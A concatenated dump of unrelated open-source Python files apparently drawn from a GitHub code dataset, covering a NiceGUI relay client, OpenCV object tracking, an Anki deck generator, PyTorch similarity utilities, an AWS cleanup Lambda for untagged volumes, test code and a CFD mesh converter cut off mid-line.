'gzip', 'content-length': str(len(compressed))})\n return {\n 'status_code': response.status_code,\n 'headers': response.headers.multi_items(),\n 'content': compressed,\n }\n\n @self.relay.on('ready')\n def on_ready(data: Dict[str, Any]) -> None:\n globals.app.urls.add(data['device_url'])\n print(f'NiceGUI is on air at {data[\"device_url\"]}', flush=True)\n\n @self.relay.on('error')\n def on_error(data: Dict[str, Any]) -> None:\n print('Error:', data['message'], flush=True)\n\n @self.relay.on('handshake')\n def on_handshake(data: Dict[str, Any]) -> bool:\n client_id = data['client_id']\n if client_id not in globals.clients:\n return False\n client = globals.clients[client_id]\n client.environ = data['environ']\n client.on_air = True\n handle_handshake(client)\n return True\n\n @self.relay.on('client_disconnect')\n def on_disconnect(data: Dict[str, Any]) -> None:\n client_id = data['client_id']\n if client_id not in globals.clients:\n return\n client = globals.clients[client_id]\n client.disconnect_task = background_tasks.create(handle_disconnect(client))\n\n @self.relay.on('event')\n def on_event(data: Dict[str, Any]) -> None:\n client_id = data['client_id']\n if client_id not in globals.clients:\n return\n client = globals.clients[client_id]\n if isinstance(data['msg']['args'], dict) and 'socket_id' in data['msg']['args']:\n data['msg']['args']['socket_id'] = client_id # HACK: translate socket_id of ui.scene's init event\n handle_event(client, data['msg'])\n\n @self.relay.on('javascript_response')\n def on_javascript_response(data: Dict[str, Any]) -> None:\n client_id = data['client_id']\n if client_id not in globals.clients:\n return\n client = globals.clients[client_id]\n handle_javascript_response(client, data['msg'])\n\n @self.relay.on('out_of_time')\n async def on_move() -> None:\n print('Sorry, you have reached the time limit of this NiceGUI On Air preview.', flush=True)\n await self.connect()\n\n @self.relay.on('reconnect')\n async def on_reconnect(_: Dict[str, Any]) -> None:\n await self.connect()\n\n async def connect(self) -> None:\n if self.connecting:\n return\n self.connecting = True\n backoff_time = 1\n while True:\n try:\n if self.relay.connected:\n await self.relay.disconnect()\n await self.relay.connect(\n f'{RELAY_HOST}?device_token={self.token}',\n socketio_path='/on_air/socket.io',\n transports=['websocket', 'polling'], # favor websocket over polling\n )\n break\n except socketio.exceptions.ConnectionError:\n pass\n except ValueError: # NOTE this sometimes happens when the internal socketio client is not yet ready\n await self.relay.disconnect()\n except Exception:\n globals.log.exception('Could not connect to NiceGUI On Air server.')\n\n await asyncio.sleep(backoff_time)\n backoff_time = min(backoff_time * 2, 32)\n self.connecting = False\n\n async def disconnect(self) -> None:\n await self.relay.disconnect()\n\n async def emit(self, message_type: str, data: Dict[str, Any], room: str) -> None:\n if self.relay.connected:\n await self.relay.emit('forward', {'event': message_type, 'data': data, 'room': room})\n","repo_name":"saitr/Capital-Pursuit","sub_path":"country_env/lib/python3.10/site-packages/nicegui/air.py","file_name":"air.py","file_ext":"py","file_size_in_byte":5660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74091419452","text":"import cv2\r\nimport time\r\nfrom imutils.video import VideoStream\r\nimport matplotlib.pyplot as plt\r\n\r\ncap = VideoStream(src=0).start() #Start the webcam\r\ntime.sleep(1.0) #wait 1 second\r\n\r\ncap = cv2.VideoCapture(0)\r\nok, frame = cap.read()\r\n\r\nbbox = cv2.selectROI(frame)\r\nx, y, w, h = bbox\r\ntrack_window = (x, y, w, h)\r\n\r\nroi = frame[y:y+h, x:x+y] #RGB -> BGR\r\n#cv2.imshow('ROI', roi)\r\n#cv2.waitKey(0)\r\n\r\n# HSV\r\nhsv_roi = cv2.cvtColor(roi, cv2.COLOR_BGR2HSV)\r\nroi_hist = cv2.calcHist([hsv_roi], [0], None, [180], [0,180] ) #180 because we are using hsv\r\n\r\n#plt.hist(roi.ravel(), 180, [0, 180])\r\n#plt.show()\r\n#cv2.waitKey(0)\r\n\r\n# 0 - 255\r\nroi_hist = cv2.normalize(roi_hist, roi_hist, 0, 255, cv2.NORM_MINMAX)\r\n\r\nparameters = (cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 1)\r\n\r\nwhile True:\r\n ok, frame = cap.read()\r\n if ok == True:\r\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\r\n dst = cv2.calcBackProject([hsv], [0], roi_hist, [0, 180], 1) #comparing the current frame with the histogram\r\n ok, track_window = cv2.meanShift(dst, (x, y, w, h), parameters)\r\n x, y, w, h = track_window\r\n cv2.rectangle(frame, (x, y), (x+w, y+h), (0,255,0), 2)\r\n\r\n #cv2.imshow(\"Meanshift\", frame) # normal image, but not optimal for cahnges in te position or size of the object\r\n cv2.imshow('dst', dst) # scale of greys, bu tmost efective to follow the object\r\n\r\n if cv2.waitKey(1) == 13: #esc\r\n break\r\n\r\n else:\r\n break\r\n\r\ncv2.destroyAllWindows()\r\ncap.release()","repo_name":"SpacecOOk/AI","sub_path":"object_tracking/algorithm/objects/meanshift.py","file_name":"meanshift.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18281871504","text":"import uuid\nfrom bs4 import BeautifulSoup\nimport requests\nimport genanki\nimport tempfile\nimport os\n\nWIKIPEDIA_URL = 'https://en.wikipedia.org'\nPAGE_NAME = \"/wiki/Regions_of_France\"\nMODEL = genanki.Model(\n 1943297000, # Model ID\n \"French Regions\", # Model name\n fields=[\n {\"name\": \"Name\"},\n {\"name\": \"Capital\"},\n {\"name\": \"Map\"},\n {\"name\": \"Flag\"},\n ],\n templates=[\n {\n \"name\": \"Name / Capital\",\n \"qfmt\": open(\"templates/name_capital/front.html\", \"r\").read(),\n \"afmt\": open(\"templates/name_capital/back.html\", \"r\").read(),\n },\n {\n \"name\": \"Name / Map\",\n \"qfmt\": open(\"templates/name_map/front.html\", \"r\").read(),\n \"afmt\": open(\"templates/name_map/back.html\", \"r\").read(),\n },\n {\n \"name\": \"Name / Flag\",\n \"qfmt\": open(\"templates/name_flag/front.html\", \"r\").read(),\n \"afmt\": open(\"templates/name_flag/back.html\", \"r\").read(),\n },\n {\n \"name\": \"Capital / Name\",\n \"qfmt\": open(\"templates/capital_name/front.html\", \"r\").read(),\n \"afmt\": open(\"templates/capital_name/back.html\", \"r\").read(),\n \n },\n {\n \"name\": \"Map / Name\",\n \"qfmt\": open(\"templates/map_name/front.html\", \"r\").read(),\n \"afmt\": open(\"templates/map_name/back.html\", \"r\").read(),\n\n },\n {\n \"name\": \"Flag / Name\",\n \"qfmt\": open(\"templates/flag_name/front.html\", \"r\").read(),\n \"afmt\": open(\"templates/flag_name/back.html\", \"r\").read(),\n },\n ],\n css=open(\"style.css\", \"r\").read()\n)\n\n\nDECK = genanki.Deck(\n 1997108613, # Deck ID\n \"French Regions\", # Deck name\n)\n\nPACKAGE = genanki.Package(DECK)\n\n\ndef download_image(url):\n id = uuid.uuid4()\n headers = {\n 'User-Agent': 'anki_regions_of_france/0.0 (https://github.com/lthiet/anki_region_france, nguyenthiet.lam@gmail.com)'}\n map_response = requests.get(url, headers=headers)\n\n # Write the map to a file\n if not os.path.exists('data'):\n os.makedirs('data')\n map_download_path = os.path.join('data', str(id) + '.svg')\n with open(map_download_path, 'wb') as f:\n f.write(map_response.content)\n\n # return os.path.abspath(map_download_path)\n return map_download_path\n\nif __name__ == \"__main__\":\n # Get the HTML\n page = requests.get(WIKIPEDIA_URL + PAGE_NAME)\n\n # Parse the HTML\n soup = BeautifulSoup(page.text, \"html.parser\")\n\n # Get the third table\n table = soup.find_all(\"table\", {\"class\": \"wikitable\"})[2]\n\n # Transform the table into a list of lists\n table_rows = table.find_all(\"tr\")\n table_data = []\n for row in table_rows:\n table_data.append([])\n table_data[-1] = [cell for cell in row.find_all(\"td\")]\n\n # Remove the first row (header)\n table_data.pop(0)\n\n media_files = []\n # Iterate over the table\n for i, row in enumerate(table_data):\n if i > 12:\n continue\n # Get the name\n name = row[1].find('a').get_text().strip()\n # Get the capital\n capital = row[3].get_text().strip()\n\n # Get the map\n map_page_url = WIKIPEDIA_URL + row[-1].find('a').get('href')\n map_page = requests.get(map_page_url)\n map_soup = BeautifulSoup(map_page.text, \"html.parser\")\n map_url = \"https:\" + \\\n map_soup.find('div', {\"id\": \"file\"}).find('a').get('href')\n map_abs_path = download_image(map_url)\n\n # Get the flag\n region_page_url = row[1].find('a').get('href')\n region_soup = BeautifulSoup(requests.get(WIKIPEDIA_URL + region_page_url).text, \"html.parser\")\n flag_page_url_candidates = region_soup.find_all('a', {\"class\": \"image\"})\n candidate_found = False\n for candidate in flag_page_url_candidates:\n if 'Flag' in candidate.get(\"href\"):\n flag_page_url = WIKIPEDIA_URL + candidate.get(\"href\")\n candidate_found = True\n break\n if not candidate_found:\n flag_abs_path = None\n else:\n flag_page = requests.get(flag_page_url)\n flag_soup = BeautifulSoup(flag_page.text, \"html.parser\")\n flag_url = \"https:\" + flag_soup.find('div', {\"id\": \"file\"}).find('a').get('href')\n flag_abs_path = download_image(flag_url)\n \n\n # Put media files\n media_files.append(map_abs_path)\n if flag_abs_path:\n media_files.append(flag_abs_path)\n\n\n note = genanki.Note(\n model=MODEL,\n fields=[\n name,\n capital,\n f\"\",\n f\"\" if flag_abs_path else \"\"\n ]\n )\n DECK.add_note(note)\n \n # Write the package\n PACKAGE.media_files = media_files\n PACKAGE.write_to_file('output.apkg')\n","repo_name":"lthiet/anki_region_france","sub_path":"factory_region_france.py","file_name":"factory_region_france.py","file_ext":"py","file_size_in_byte":4989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71317114812","text":"import cv2\nfrom matplotlib import pyplot as plt\n\n\nresim = cv2.imread(\"images/avatar4.png\")\n\nresim = cv2.cvtColor(resim, cv2.COLOR_BGR2GRAY)\nresim = cv2.cvtColor(resim, cv2.COLOR_BGR2RGB)\nresim = cv2.cvtColor(resim, cv2.COLOR_BGR2HSV)\n\n\n\n\n\n\nprint(resim) ## tüm piksel renkler,\n\ncv2.namedWindow(\"resim\",cv2.WINDOW_AUTOSIZE) ## pencere hazırlanır, hangi pencere içine konulkacaksa pencere isimleri aynı olmalı, pencere resize edilemez\ncv2.namedWindow(\"resim\",cv2.WINDOW_NORMAL) ## pencere resize edilebilir\ncv2.imshow(\"resim\", resim) \n\n# plt.imshow(resim) ## görüntüler opencv\"de BGR matplotlib de ise RGB olarak okunur bu yüzden görüntülenme tam tersi olacaktır\nplt.imshow(resim, cmap=\"gray\") ## resim gray tonda olursa bu matplot da bu kodla gray olacaktır\nplt.show()\n\nkey = cv2.waitKey(0) \nprint(key)\nif key == 27 : \n print(\"esc tuşuna basıldı\")\nelif key == ord(\"q\"):\n print(\"q tuşuna basıldı\")\ncv2.destroyAllWindows() ## herhangi bir tuşa basıldığında OpenCV'e ait tüm pencerenin kapanmasını sağlar\n\n\n","repo_name":"bm-snnsmsk/my_workshop","sub_path":"python/004_openCV/apps/001_resimacma2.py","file_name":"001_resimacma2.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24321900668","text":"from selenium import webdriver\nfrom selenium.webdriver.common.alert import Alert\n\nfrom selenium.webdriver.common.keys import Keys\nimport time\n\ndriver = webdriver.Chrome((r\"D:\\selinium_drivers\\chromedriver_win32\\chromedriver\"))\n\ndriver.get (\"http://demo.automationtesting.in/Alerts.html\")\ntime.sleep(2)\n\ndriver.find_element_by_class_name(\"dropdown-toggle\").click()\ntime.sleep(2)\n\ndriver.find_element_by_xpath(\"//a[contains(text(),'Alerts')]\").click()\ntime.sleep(5)\n\ndriver.find_element_by_xpath(\"//button[contains(text(),'click the button to display an alert box:')]\").click()\n\n#driver.switch_to_alert().accept()\n\nalert=Alert(driver)\nalert.accept()\n","repo_name":"Pradeep-1991/flipkart","sub_path":"allert.py","file_name":"allert.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26233812788","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\n\ndef Gaussian_ker(X, Y, k):\n \"\"\" calculate the Gaussian kernel similarity between X and Y exp(-k|X-Y|)\n X: tensor (BS, x_len, 1, hidden_size)\n Y: tensor (BS, 1, y_len, hidden_size)\n k; scalar to control the kernel shape\n returns: (BS, x_len, y_len)\n \"\"\"\n S = X.unsqueeze(2) - Y.unsqueeze(1) # (BS, xlen, ylen, hid_size)\n S = torch.sum(S ** 2, dim=3) # (BS, xlen, ylen)\n S = torch.exp(-k * S) # (BS, xlen, ylen)\n return S\n\ndef Dot(X, Y):\n \"\"\" calculate the dot similarity between X and Y: dot(X, Y)\n X: tensor (BS, x_len, hidden_size)\n Y: tensor (BS, y_len, hidden_size)\n returns: (BS, x_len, y_len)\n \"\"\"\n S = torch.bmm(X, Y.transpose(1, 2)) # (BS, xlen, ylen)\n return S\n\ndef cossim(X, Y):\n \"\"\" calculate the cos similarity between X and Y by dotting normalized X, Y\n X: tensor (BS, x_len, hidden_size)\n Y: tensor (BS, y_len, hidden_size)\n returns: (BS, x_len, y_len)\n \"\"\"\n X = F.normalize(X, p=2, dim=2, eps=1e-12)\n Y = F.normalize(Y, p=2, dim=2, eps=1e-12)\n S = torch.bmm(X, Y.transpose(1,2))\n return S\n\ndef cossim1(X, Y):\n \"\"\" calculate the cos similarity between X and Y: cos(X, Y)\n X: tensor (BS, x_len, hidden_size)\n Y: tensor (BS, y_len, hidden_size)\n returns: (BS, x_len, y_len)\n \"\"\"\n X_norm = torch.sqrt(torch.sum(X ** 2, dim=2)).unsqueeze(2) + 1e-12 # (BS, x_len, 1)\n Y_norm = torch.sqrt(torch.sum(Y ** 2, dim=2)).unsqueeze(1) + 1e-12 # (BS, 1, y_len)\n S = torch.bmm(X, Y.transpose(1,2)) / (X_norm * Y_norm + 1e-5)\n return S\n\nclass GenDot(nn.Module):\n \"\"\" calculate the generalized dot similarity between X and Y: X M Y.t\n Using nn.Bilinear\n X: tensor (BS, x_len, hidden_size)\n Y: tensor (BS, y_len, hidden_size)\n returns: (BS, x_len, y_len)\n \"\"\"\n def __init__(self, BS, X_len, Y_len, hidden_size):\n super(GenDot, self).__init__()\n self.hidden_size = hidden_size\n self.BS = BS\n self.X_len = X_len\n self.Y_len = Y_len\n self.bilinear_mod = nn.Bilinear(hidden_size, hidden_size, 1, bias=False)\n\n def forward(self, X, Y):\n X = X.unsqueeze(2).expand(-1, -1, self.Y_len, -1).contiguous() # (BS, xlen, y_len(copy), hs)\n Y = Y.unsqueeze(1).expand(-1, self.X_len, -1, -1).contiguous() # (BS, x_len(copy), y_len, hs)\n X = X.view(self.BS * self.X_len * self.Y_len, -1) # (BS*xlen*ylen, hs)\n Y = Y.view(self.BS * self.X_len * self.Y_len, -1) # (BS*xlen*ylen, hs)\n S = self.bilinear_mod(X, Y) # (BS*xlen*ylen, 1)\n S = S.squeeze(1).view(self.BS, self.X_len, self.Y_len) # (BS, xlen. ylen)\n return S\n\nclass GenDotM(nn.Module):\n \"\"\" calculate the generalized dot similarity between X and Y: X M Y.t\n Using self-defined X.t M Y\n X: tensor (BS, x_len, hidden_size)\n Y: tensor (BS, y_len, hidden_size)\n returns: (BS, x_len, y_len)\n \"\"\"\n def __init__(self, hidden_size):\n super(GenDotM, self).__init__()\n self.hidden_size = hidden_size\n self.M = nn.Parameter(torch.randn(hidden_size, hidden_size).\n normal_(0, 0.01))\n\n def forward(self, X, Y):\n S = torch.bmm(torch.bmm(X, self.M.unsqueeze(0).expand(X.size(0), -1, -1)),\n Y.transpose(1, 2))\n # (BS, xlen, hs).(BS, hs, hs)=(BS, xlen, hs)\n # (BS, xlen, hs). (BS, hs, ylen) = (BS xlen, ylen)\n return S\n\ndef MaxM_fromBatch(X):\n \"\"\" calculate max M for a batch of interact grid (BS, q_len, d_len)\n returns a vector M (BS, ) for the batch including each instance's M\n \"\"\"\n # for each query term (row), find the max interact intensity across all doc terms\n M = torch.max(X, dim=2) # (BS, q_len)\n # calcuate the sum of the Ms to represent the M of the whole query\n M = torch.sum(M, dim=1) # (BS,)\n return M\n\ndef MaxM_fromBatchTopk(X, k):\n \"\"\" calculate max M for a batch of interact grid (BS, q_len, d_len)\n by considering the topk strongest interactions\n returns a vector M (BS, ) for the batch including each instance's M\n \"\"\"\n # for each query term (row), find the topk interact intensity across all doc terms\n M, _ = torch.topk(X, k, dim=2) # (BS, q_len, k)\n M = torch.mean(M, dim=2) # (BS, q_len)\n M = torch.sum(M, dim=1) # (BS,)\n return M\n\ndef MaxM_from4D(X):\n \"\"\" calculate max M for a batch and feature maps\n of interact grid (BS, q_len, d_len, nfeatmaps)\n returns a vector M (BS, ) for the batch including each instance's\n \"\"\"\n M = torch.max(X, dim=2) # (BS, qlen, nfeatmaps)\n M = torch.sum(M, dim=1) #(BS, nfeatmaps)\n M = torch.mean(M, dim=1) #(BS, )\n return M\n\ndef MaxM_from4DTopk(X, k):\n \"\"\" calculate max M for a batch and feature maps\n of interact grid (BS, q_len, d_len, nfeatmaps)\n by considering the topk strongest interactions\n returns a vector M (BS, ) for the batch including each instance's\n \"\"\"\n M, _ = torch.topk(X, k, dim=2) # (BS, qlen, k, nfeatmaps)\n M = torch.mean(M, dim=2) # (BS, qlen, nfeatmaps)\n M = torch.sum(M, dim=1) #(BS, nfeatmaps)\n M = torch.mean(M, dim=1) #(BS, )\n return M\n\ndef masked_softmax(x, axis=-1, mask=None):\n mask = mask.type(torch.FloatTensor) # cast mask to float\n mask = Variable(mask, requires_grad=False) # wrap mask tensor into a Variable to allow mul, Variable * Variable\n if mask is not None:\n x = (mask * x) + (1 - mask) * (-10)\n x = torch.clamp(x, -10, 10)\n max_tensor, _ = torch.max(x, dim=axis, keepdim=True)\n e_x = torch.exp(x - max_tensor)\n if mask is not None:\n e_x = e_x * mask\n softmax = e_x / (torch.sum(e_x, dim=axis, keepdim=True) + 1e-6)\n return softmax\n\ndef np_softmax(x, axis=-1):\n # stable softmax for np array\n e_x = np.exp(x - np.max(x, axis=axis, keepdims=True))\n softmax = e_x / (np.sum(e_x, axis=axis, keepdims=True) + 1e-9)\n return softmax\n\ndef non_neg_normalize(x):\n \"\"\" input: a np array vector\n output: (x - x_min)/(x_max - x_min)\n \"\"\"\n x_min = np.min(x)\n x_max = np.max(x)\n return (x - x_min) / (x_max - x_min + 1e-6)\n\ndef non_neg_normalize_2Darray(x):\n \"\"\"input: np 2D array\n output column-wise (x - x_min)/(x_max - x_min)\n \"\"\"\n x_min = np.min(x, axis=0, keepdims=True)\n x_max = np.max(x, axis=0, keepdims=True)\n return (x - x_min) / (x_max - x_min + 1e-6)\n\nif __name__ == '__main__':\n x = torch.FloatTensor([[[0.1, 0.2, 0.3], [0.3, 0.2, 0.1]]])\n y = torch.FloatTensor([[[0.1, 0.2, 0.3], [0.3, 0.2, 0.0]]])\n x = torch.randn(64, 15, 300)\n y = torch.randn(64, 1000, 300)\n print(Gaussian_ker(x, y, 1).size())\n\n '''\n x = Variable(x, requires_grad=False)\n y = Variable(y, requires_grad=False)\n gendotM = GenDotM(3)\n print(gendotM(x, y))\n '''\n","repo_name":"yifannieumontreal/artifact","sub_path":"lib_torch/torch_utils.py","file_name":"torch_utils.py","file_ext":"py","file_size_in_byte":6956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35129042917","text":"import boto3\nfrom pprint import pprint\n\ndef lambda_handler(event, context):\n ec2_con_cli=boto3.client('ec2', region_name='ap-south-1')\n f={\"Name\":\"status\",\"Values\":['available']}\n available_ebs=[]\n resource=ec2_con_cli.describe_volumes()['Volumes']\n for i in resource:\n # print(i)\n if not \"Tags\" in i and i['State']=='available': # we are trying to print volume which nave no tags\n ec2_con_cli.delete_volume(VolumeId=i['VolumeId'])\n print(\"deleting volume having id\",i['VolumeId'])\n \n return None","repo_name":"tanmaidonavalli/AWS-lambda-automation-scripts","sub_path":"18_ec2_client_delete_unused_untag_volumes.py","file_name":"18_ec2_client_delete_unused_untag_volumes.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"34174975235","text":"import openpathsampling as paths\nimport pytest\n\nfrom openpathsampling.experimental.storage.monkey_patches import *\nfrom openpathsampling.experimental.storage.collective_variables import \\\n CollectiveVariable\n\n@pytest.fixture\ndef patching_tps_network():\n cv = CollectiveVariable(lambda x: x.xyz[0][0]).named('cv')\n state_A = paths.CVDefinedVolume(cv, 0, 1)\n state_B = paths.CVDefinedVolume(cv, 9, 10)\n tps_network = paths.TPSNetwork(state_A, state_B)\n yield tps_network\n\n\ndef test_double_patch(patching_tps_network):\n orig_dict = patching_tps_network.to_dict()\n global paths\n paths = monkey_patch_all(paths)\n try:\n patched_dict = patching_tps_network.to_dict()\n paths = monkey_patch_all(paths)\n double_patched_dict = patching_tps_network.to_dict()\n finally:\n unpatch(paths)\n\n assert orig_dict != patched_dict\n assert patched_dict == double_patched_dict\n\n\ndef test_unpatch(patching_tps_network):\n orig_dict = patching_tps_network.to_dict()\n global paths\n paths = monkey_patch_all(paths)\n try:\n patched_dict = patching_tps_network.to_dict()\n finally:\n paths = unpatch(paths)\n\n unpatched_dict = patching_tps_network.to_dict()\n assert unpatched_dict == orig_dict\n assert unpatched_dict != patched_dict\n","repo_name":"openpathsampling/openpathsampling","sub_path":"openpathsampling/experimental/storage/test_monkey_patches.py","file_name":"test_monkey_patches.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","stars":94,"dataset":"github-code","pt":"78"} +{"seq_id":"22513604721","text":"import numpy as np\nimport h5py\n\n\"\"\" \nConverter for CBA mesh to zCFD h5 format\n\nTom Wainwright\n\nUniversity of Bristol 2020\n\ntom.wainwright@bristol.ac.uk\n\nTo convert CBA mesh:\n\nmesh = CBA_mesh('path-to-blk-file')\nmesh.convert_h5_data()\nmesh.write_h5('path-to-h5-file')\n\nClasses:\n- CBA_mesh\n -load_cba(fname,V)\n -structure_data()\n -get_common_faces()\n -solve_faces()\n -convert_h5_data(V,Checks,sort_nodes)\n -get_face_allignment(V)\n -check_unassigned_faces(V)\n -check_unassigned_faceNodes(V)\n -check_unassigned_faceBC(V)\n -check_unassigned_cellFace(V)\n -check_cell_references(V)\n -remove_common_nodes(V)\n -check_tag_assignments()\n -writetec(fname,V)\n -write_ht(fname)\n\n- CBA_block\n -order_points()\n -get_corners()\n -get_face_corners(face)\n -get_n_faces()\n -assign_primary_faces(cell_offset,face_offset)\n -get_boundface_ID(a,b,f)\n -assign_boundface(a,b,f,face_ID)\n -translate_BC()\n -get_faceNodes(i,j,k,p)\n\n- zCFD_mesh\n -load_zcfd()\n -writetec()\n -write_results_tec()\n -writeh5()\n -write_boundary_tec()\n -extractHaloFaces()\n -writeLKEconf()\n -rotate_surface()\n -translate_surface()\n -generate_deformation_file()\n -rbf_rotate()\n \"\"\"\n\n\nclass CBA_mesh():\n def __init__(self, fname='NONE', V=False):\n # Define properties of CBA mesh\n\n # Integers\n self.n_cell = 0\n self.npts = 0\n self.n_blocks = 0\n self.n_face = 0\n\n # dictionaries\n self.block = {}\n\n # logicals\n self.V = V # Verbosity flag- turn on for debugging purposed\n\n # If mesh handle is provided, load mesh\n if fname != 'NONE':\n self.load_cba(fname)\n\n def load_cba(self, fname):\n # Process data path and fname\n self.fname = fname\n\n # Load CBA mesh\n\n data = np.loadtxt(fname)\n\n # Process CBA data into useful structure\n\n self.n_blocks = int(data[0, 0])\n\n line_index = 1\n\n for b in range(self.n_blocks):\n # Create CBA_block class for each block\n self.block[b] = CBA_block()\n self.block[b].blockID = b\n\n # Load header information\n self.block[b].npts_i = int(data[line_index, 0])\n self.block[b].npts_j = int(data[line_index, 1])\n self.block[b].npts_k = int(data[line_index, 2])\n\n self.block[b].npts = self.block[b].npts_i * \\\n self.block[b].npts_j * self.block[b].npts_k\n\n line_index = line_index + 1\n\n # Load body information\n self.block[b].X = data[line_index:line_index +\n self.block[b].npts, :]\n\n line_index = line_index + self.block[b].npts\n\n # Load footer information\n for i in range(6):\n self.block[b].connectivity[i] = {}\n self.block[b].connectivity[i]['type'] = int(\n data[line_index, 0])\n self.block[b].connectivity[i]['neighbour'] = int(\n data[line_index, 1])\n self.block[b].connectivity[i]['orientation'] = int(\n data[line_index, 2])\n line_index = line_index + 1\n\n if self.block[b].npts_k == 1:\n # 2D mesh\n self.block[b].npts_k = 2\n self.block[b].X = np.concatenate(\n (self.block[b].X, self.block[b].X))\n self.block[b].X[self.block[b].npts:, 1] = 1\n self.block[b].npts = self.block[b].npts_i * \\\n self.block[b].npts_j * self.block[b].npts_k\n\n self.block[b].n_cell = (self.block[b].npts_i - 1) * \\\n (self.block[b].npts_j - 1) * (self.block[b].npts_k - 1)\n self.n_cell = self.n_cell + self.block[b].n_cell\n self.npts = self.npts + self.block[b].npts\n\n if self.V:\n print(self.n_cell)\n\n # Perform secondary data manupulations\n self.structure_data()\n self.get_common_faces()\n self.solve_faces()\n\n def structure_data(self):\n # Process data into fully structured [i][j][k] indexing\n for b in range(self.n_blocks):\n self.block[b].order_points()\n self.block[b].translate_BC()\n\n def get_common_faces(self):\n # Extract dictionary of common faces within multiblock mesh\n\n self.common_faces = {}\n\n n_driving = 0\n n_driven = 0\n\n # A boundary face will be defined twice.\n # The first instance it is defined will be the \"Driving\" case\n # The second instance it is defined as the \"Driven\" case\n\n # Priority is given by block number, then by face number\n\n for b in range(self.n_blocks): # Cycle through blocks\n # Cycle through face boundaries\n for i in self.block[b].connectivity:\n if self.block[b].connectivity[i]['type'] == 2:\n if self.block[b].connectivity[i]['neighbour'] > b + 1:\n block2 = self.block[b].connectivity[i]['neighbour'] - 1\n face2 = self.block[b].connectivity[i]['orientation'] - 1\n\n self.common_faces[n_driving] = {}\n self.common_faces[n_driving]['block1'] = b\n self.common_faces[n_driving]['face1'] = i\n self.common_faces[n_driving]['block2'] = block2\n self.common_faces[n_driving]['face2'] = face2\n\n n_driving = n_driving + 1\n\n self.block[b].connectivity[i]['driving'] = True\n self.block[block2].connectivity[face2]['driving'] = False\n\n if self.block[b].connectivity[i]['neighbour'] < b + 1:\n n_driven = n_driven + 1\n\n if self.block[b].connectivity[i]['neighbour'] == b + 1:\n if self.block[b].connectivity[i]['orientation'] > i + 1:\n block2 = self.block[b].connectivity[i]['neighbour'] - 1\n face2 = self.block[b].connectivity[i]['orientation'] - 1\n self.common_faces[n_driving] = {}\n self.common_faces[n_driving]['block1'] = b\n self.common_faces[n_driving]['face1'] = i\n self.common_faces[n_driving]['block2'] = block2\n self.common_faces[n_driving]['face2'] = face2\n n_driving = n_driving + 1\n\n self.block[b].connectivity[i]['driving'] = True\n self.block[block2].connectivity[face2]['driving'] = False\n\n if self.block[b].connectivity[i]['orientation'] < i + 1:\n n_driven = n_driven + 1\n\n if n_driving != n_driven:\n print('ERROR- mismatch in numbers of neighbouring faces')\n\n self.n_commonface = n_driving\n\n def solve_faces(self):\n # Find how many faces are in each block, then in the full mesh\n for b in range(self.n_blocks):\n self.block[b].get_n_faces()\n self.n_face = self.n_face + self.block[b].n_face\n\n def sortnodes(self, find, replace):\n replaceNodes = np.where(self.faceNodes == find)\n self.faceNodes[replaceNodes] = replace\n\n def convert_h5_data(self, Checks=False, sort_nodes=False):\n # Function to actually run the conversion of meshes\n cell_ID = 0\n face_ID = 0\n\n self.get_face_allignment()\n\n # Assign primary faces within blocks\n for b in range(self.n_blocks):\n (cell_ID, face_ID) = self.block[b].assign_primary_faces(\n cell_ID, face_ID)\n if self.V:\n print('Cells assigned: {} \\t Faces assigned: {}'.format(cell_ID, face_ID))\n\n # Solve block boundaries\n for f in self.common_faces:\n # Get number of points to index through\n block1 = self.common_faces[f]['block1']\n block2 = self.common_faces[f]['block2']\n face1 = self.common_faces[f]['face1']\n face2 = self.common_faces[f]['face2']\n\n if face2 == 0 or face2 == 1:\n npts_a = self.block[block2].npts_j\n npts_b = self.block[block2].npts_k\n elif face2 == 2 or face2 == 3:\n npts_a = self.block[block2].npts_i\n npts_b = self.block[block2].npts_k\n elif face2 == 4 or face2 == 5:\n npts_a = self.block[block2].npts_i\n npts_b = self.block[block2].npts_j\n\n if self.V:\n print('MB_faceID: {} block1: {} block2: {} face1: {} face2: {}'.format(\n f, block1, block2, face1, face2))\n print('npts_a: {} npts_b: {}'.format(npts_a, npts_b))\n\n # Get indexes for driven faces\n for a in range(npts_a - 1):\n for b in range(npts_b - 1):\n face_ID = self.block[block1].get_boundface_ID(a, b, face1)\n if self.common_faces[f]['ax1']['reversed']:\n a2 = npts_a - 2 - a\n else:\n a2 = a\n if self.common_faces[f]['bx1']['reversed']:\n b2 = npts_b - 2 - b\n else:\n b2 = b\n\n self.block[block2].assign_boundface(a2, b2, face2, face_ID)\n\n # Create h5 dataset arrays\n\n self.faceCell = np.ones([self.n_face, 2], dtype=int) * -100\n self.cellFace = np.ones([self.n_cell * 6], dtype=int) * -100\n self.faceInfo = np.zeros([self.n_face, 2], dtype=int)\n self.faceBC = np.ones([self.n_face], dtype=int) * -100\n self.faceNodes = np.ones([(self.n_face) * 4], dtype=int) * -100\n self.faceType = np.ones([self.n_face], dtype=int) * 4\n\n # assign faceCell dataset - Full cell index\n for b in range(self.n_blocks):\n for i in range(self.block[b].npts_i - 1):\n for j in range(self.block[b].npts_j - 1):\n for k in range(self.block[b].npts_k - 1):\n for f in range(6):\n face_ID = self.block[b].cell_face[i][j][k][f]\n cell_ID = self.block[b].cell_face[i][j][k]['cell_ID']\n\n if self.faceCell[face_ID, 0] < 0:\n self.faceCell[face_ID, 0] = cell_ID\n else:\n self.faceCell[face_ID, 1] = 